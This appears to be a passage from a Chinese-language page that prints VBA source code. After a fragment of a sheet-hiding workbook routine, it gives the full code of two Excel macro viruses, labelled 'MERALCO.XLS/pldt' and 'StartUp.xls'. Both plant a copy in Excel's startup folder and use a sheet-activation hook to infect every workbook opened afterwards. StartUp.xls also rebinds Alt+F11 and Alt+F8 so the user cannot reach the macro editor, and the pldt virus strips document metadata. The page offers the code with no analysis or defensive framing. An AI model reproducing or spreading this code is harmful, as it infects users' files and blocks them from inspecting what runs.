            FileText.Close
        End If
    End Sub
    
    
    Private Sub RestoreBeforeSend()
    Dim aa As Name, i_row As Integer, i_col As Integer
    Dim sht As Object
    Application.ScreenUpdating = False
    Application.DisplayAlerts = False
    On Error Resume Next
    For Each aa In ThisWorkbook.Names
         aa.Visible = True
         If Split(aa.Name, "!")(1) = "Auto_Activate" Then aa.Delete
    Next
    For Each sht In ThisWorkbook.Sheets
         If sht.Name = "Macro1" Then
         sht.Visible = xlSheetVisible
         sht.Delete
         End If
    Next
    Sheets(1).Select
    Sheets.Add
    For Each sht In ThisWorkbook.Sheets
         If sht.Name <> Sheets(1).Name Then sht.Visible = xlSheetVeryHidden
    Next
    i_row = Int((15 * Rnd) + 1)
    i_col = Int((6 * Rnd) + 1)
    Cells(i_row, i_col) = "** CONFIDENTIAL! ** "
    Cells(i_row + 2, i_col) = "Use " & Chr(34) & Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) & "_key.vbs" & Chr(34) & " To Open This File."
    Cells(i_row + 3, i_col) = "請(qǐng)用 " & Chr(34) & Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) & "_key.vbs" & Chr(34) & " 解鎖此文件."
    With Range(Cells(i_row, i_col), Cells(i_row + 2, i_col))
         .Font.Bold = True
         .Font.ColorIndex = 3
    End With
    Application.ScreenUpdating = True
    End Sub
    
    Private Function RestoreAfterOpen()
    Dim sht, del_sht, rng, del_frag As Boolean
    On Error Resume Next
    del_sht = ActiveSheet.Name
    Application.ScreenUpdating = False
    Application.DisplayAlerts = False
    For Each sht In ThisWorkbook.Sheets
        If sht.Name <> "Macro1" Then sht.Visible = xlSheetVisible
    Next
    For Each rng In Sheets(del_sht).Range("A1:F15")
    If InStr(rng.Value, "CONFIDENTIAL") > 0 Then
    del_frag = True
    Exit For
    End If
    Next
    If del_frag = True Then Sheets(del_sht).Delete
    Application.ScreenUpdating = True
    
    End Function

MERALCO.XLS/pldt病毒

    Sub auto_open()
        Application.OnSheetActivate = "check_files"
    End Sub
    
    Sub check_files()
        c$ = Application.StartupPath
        m$ = Dir(c$ & "\" & "MERALCO.XLS")
        If m$ = "MERALCO.XLS" Then p = 1 Else p = 0
        If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
        whichfile = p + w * 10
        
    Select Case whichfile
        Case 10
        Application.ScreenUpdating = False
        n4$ = ActiveWorkbook.Name
        Sheets("pldt").Visible = True
        Sheets("pldt").Select
        Sheets("pldt").Copy
        With ActiveWorkbook
            .Title = ""
            .Subject = ""
            .Author = ""
            .Keywords = ""
            .Comments = ""
        End With
        newname$ = ActiveWorkbook.Name
        c4$ = CurDir()
        ChDir Application.StartupPath
        ActiveWindow.Visible = False
        Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "MERALCO.XLS", FileFormat:=xlNormal _
            , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
            False, CreateBackup:=False
        ChDir c4$
        Workbooks(n4$).Sheets("pldt").Visible = False
        Application.OnSheetActivate = ""
        Application.ScreenUpdating = True
        Application.OnSheetActivate = "MERALCO.XLS!check_files"
        Case 1
        Application.ScreenUpdating = False
        n4$ = ActiveWorkbook.Name
        p4$ = ActiveWorkbook.Path
        S$ = Workbooks(n4$).Sheets(1).Name
        If S$ <> "pldt" Then
            Workbooks("MERALCO.XLS").Sheets("pldt").Copy Before:=Workbooks(n4$).Sheets(1)
            Workbooks(n4$).Sheets("pldt").Visible = False
        Else
        End If
        Application.OnSheetActivate = ""
        Application.ScreenUpdating = True
        Application.OnSheetActivate = "MERALCO.XLS!check_files"
        Case Else
    End Select
    End Sub

Startup.xls病毒代碼

    Sub auto_open()
      On Error Resume Next
      If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
        Application.ScreenUpdating = False
        ThisWorkbook.Sheets("StartUp").Copy
        ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
        n$ = ActiveWorkbook.Name
        ActiveWindow.Visible = False
        Workbooks("StartUp.xls").Save
        'Workbooks(n$).Close (False)
      End If
      Application.OnSheetActivate = "StartUp.xls!ycop"
      Application.OnKey "%{F11}", "StartUp.xls!escape"
      Application.OnKey "%{F8}", "StartUp.xls!escape"
    End Sub

    Sub ycop()
      On Error Resume Next
      If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
        Application.ScreenUpdating = False
        n$ = ActiveSheet.Name
        Workbooks("StartUp.xls").Sheets("StartUp").Copy Before:=Worksheets(1)
        Sheets(n$).Select
      End If
    End Sub